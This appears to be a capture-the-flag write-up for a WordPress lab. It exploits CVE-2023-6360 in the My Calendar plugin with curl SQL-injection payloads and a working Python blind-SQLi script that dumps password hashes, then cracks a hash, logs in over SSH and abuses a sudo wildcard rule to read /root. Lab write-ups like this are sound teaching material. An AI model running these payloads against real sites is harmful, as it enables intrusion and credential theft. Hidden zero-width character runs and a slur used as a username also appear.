← Back to Writeups
CUSTOMMediumInfrastructure

Отцы-основатели (Founding Fathers)

XESXOR9/2/20264 min read
#infrastructure#custom#medium#wordpress_rest_api_user_enumer#cve_2023_6360_sqli#time_based_blind_sqli_binary_s#phpass_hash_cracking_rockyou#sudo_wildcard_path_traversal#cve-2023-6360#linux

Отцы-основатели (Founding Fathers)

Platform: hackerlab | Category: Infrastructure | Type: Challenge | Difficulty: Medium | OS: Linux | Author: XESXOR | Date: 2026-05-23 | Status: Solved Techniques: wordpress_rest_api_user_enumeration, cve_2023_6360_sqli, time_based_blind_sqli_binary_search, phpass_hash_cracking_rockyou, sudo_wildcard_path_traversal

Summary

Task: WordPress 6.5.2 with My Calendar 3.4.21 plugin and SSH on Ubuntu. Solution: CVE-2023-6360 unauthenticated time-based blind SQLi to extract wp_users hashes → crack phpass with rockyou → SSH as mansory → sudo wildcard path traversal to read /root/last_part.

Отцы-основатели (Founding Fathers) — Hackerlab

Description

"Я твердо верю в удачу. И я заметил, что чем больше я работаю, тем больше она мне улыбается." — Томас Джефферсон

English summary: A WordPress site themed around "founding fathers" — the oldest website developers in the world who claim no one has hacked their resources in 120 years. The target has a web server on port 29200 (WordPress 6.5.2) and SSH on port 29222. The goal is to find the flag split across user and root home directories. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Targets:

  • Web: port 29200 (Apache, WordPress 6.5.2, theme Zino)
  • SSH: port 29222 (OpenSSH 8.9p1 Ubuntu 3ubuntu0.6)

Analysis

Reconnaissance

Nmap scan revealed two services:

bash
nmap -sV -sC -p 29200,29222 192.169.2.100
PortServiceDetails
29200HTTPApache httpd, WordPress 6.5.2, robots.txt with /wp-admin/
29222SSHOpenSSH 8.9p1 Ubuntu 3ubuntu0.6

WordPress Enumeration

WordPress REST API at /wp-json/wp/v2/users revealed one user:

  • slug: admin
  • display name: mansory
  • gravatar hash: 4c87bdbe192f889fa01240d66b8dbec4 ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Page source and REST API namespace my-calendar/v1 revealed the My Calendar plugin version 3.4.21. A single page "My Calendar" (id=38) existed with a demo event (Florence Price Symphony).

Site text: "Welcome to the site of the founding fathers. We are the oldest website developers in the world. In 120 years, no one has been able to hack into any of our resources."

Vulnerability Identification

My Calendar plugin version 3.4.21 is vulnerable to CVE-2023-6360: unauthenticated SQL injection in the from and to parameters of the REST API endpoint /wp-json/my-calendar/v1/events. The fix was released in version 3.4.22. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Solution

Stage 1: SQL Injection via CVE-2023-6360

The injection point is in the from parameter of the events REST API. Initial testing with sqlmap detected "MySQL RLIKE boolean-based blind" injection but marked it as a false positive with default settings.

Manual testing confirmed time-based blind SQLi:

bash
# TRUE condition — 2+ second delay
curl "http://192.169.2.100:29200/wp-json/my-calendar/v1/events?from=2024-01-01'+AND+IF((1%3d1),SLEEP(2),0)+AND+'a'%3d'a&to=2024-12-31"

# FALSE condition — instant response
curl "http://192.169.2.100:29200/wp-json/my-calendar/v1/events?from=2024-01-01'+AND+IF((1%3d2),SLEEP(2),0)+AND+'a'%3d'a&to=2024-12-31"

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

A boolean-based blind approach using RLIKE also worked for data extraction, using a CASE expression that returns a valid date on TRUE and an invalid regex character ( on FALSE:

2024-01-01' RLIKE (SELECT (CASE WHEN (condition) THEN 0x323032342d30312d3031 ELSE 0x28 END)) AND 'a'='a

Stage 2: Data Extraction

A custom Python script extracted credentials via binary search on ORD(SUBSTR(...)):

python
#!/usr/bin/env python3
"""CVE-2023-6360 — My Calendar < 3.4.22 blind SQLi data extraction"""
import requests
import sys
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

BASE_URL = "http://192.169.2.100:29200/wp-json/my-calendar/v1/events"
TRUE_STRING = "by"  # String present in true response (boolean-based)

def check(condition):
    """Boolean-based blind check via RLIKE CASE injection"""
    payload = (
        f"2024-01-01' RLIKE (SELECT (CASE WHEN ({condition}) "
        f"THEN 0x323032342d30312d3031 ELSE 0x28 END)) AND 'a'='a"
    )
    params = {"from": payload, "to": "2024-12-31"}
    try:
        r = requests.get(BASE_URL, params=params, timeout=15)
        return TRUE_STRING in r.text
    except:
        return False
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

def extract_string(query, max_len=100):
    """Extract string character by character using binary search"""
    if not check(f"({query}) IS NOT NULL"):
        return ""

    # Find length
    length = 0
    for i in range(1, max_len + 1):
        if not check(f"LENGTH(({query}))>={i}"):
            length = i - 1
            break
    else:
        length = max_len

    if length == 0:
        return ""

    print(f"  Length: {length}")

    result = ""
    for pos in range(1, length + 1):
        low, high = 32, 127
        while low < high:
            mid = (low + high) // 2
            if check(f"ORD(SUBSTR(({query}),{pos},1))>{mid}"):
                low = mid + 1
            else:
                high = mid
        result += chr(low)
        sys.stdout.write(f"\r  [{pos}/{length}] {result}")
        sys.stdout.flush()
    print()
    return result
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

# Verify injection works
assert check("1=1") and not check("1=2"), "Injection not working"

# Extract database name
db = extract_string("SELECT database()")
print(f"Database: {db}")  # wordpress

# Extract all user credentials
for i in range(2):
    login = extract_string(f"SELECT user_login FROM wp_users LIMIT {i},1")
    passwd = extract_string(f"SELECT user_pass FROM wp_users LIMIT {i},1")
    email = extract_string(f"SELECT user_email FROM wp_users LIMIT {i},1")
    print(f"User {i+1}: login={login}, hash={passwd}, email={email}")

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Extracted credentials:

#LoginPassword HashEmail
1admin$P$BROakg//zb4d8AzQaCev779Re0EAKY/mansory@codeby.net
2n1gga$P$B5g8AxK7TXM31cONXE.TiEYL820dSG.n1gga@codeby.net

Stage 3: Password Hash Cracking

The $P$ prefix identifies WordPress phpass hashes. John the Ripper with rockyou.txt cracked the admin hash:

bash
echo '$P$BROakg//zb4d8AzQaCev779Re0EAKY/' > wp_hashes.txt
john --wordlist=/usr/share/wordlists/rockyou.txt wp_hashes.txt

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Result: admin:sinceridad

The second hash (n1gga) was not cracked with rockyou.txt.

Stage 4: SSH Access

The WordPress user admin has display name mansory. SSH credentials are mansory:sinceridad:

bash
ssh -p 29222 mansory@192.169.2.100
# Password: sinceridad

First part of the flag:

bash
cat /home/mansory/first_part
# CODEBY{Y0U_F0UND_

Stage 5: Privilege Escalation via sudo Wildcard Path Traversal

Checking sudo permissions:

bash
sudo -l
# (ALL) NOPASSWD: /usr/bin/cat /home/mansory/*

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

The wildcard * in the sudo rule allows path traversal using ../ sequences. The shell does not expand * when the path contains ../ — sudo passes it directly to cat:

bash
sudo /usr/bin/cat /home/mansory/../../../root/last_part
# REDACTED}

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍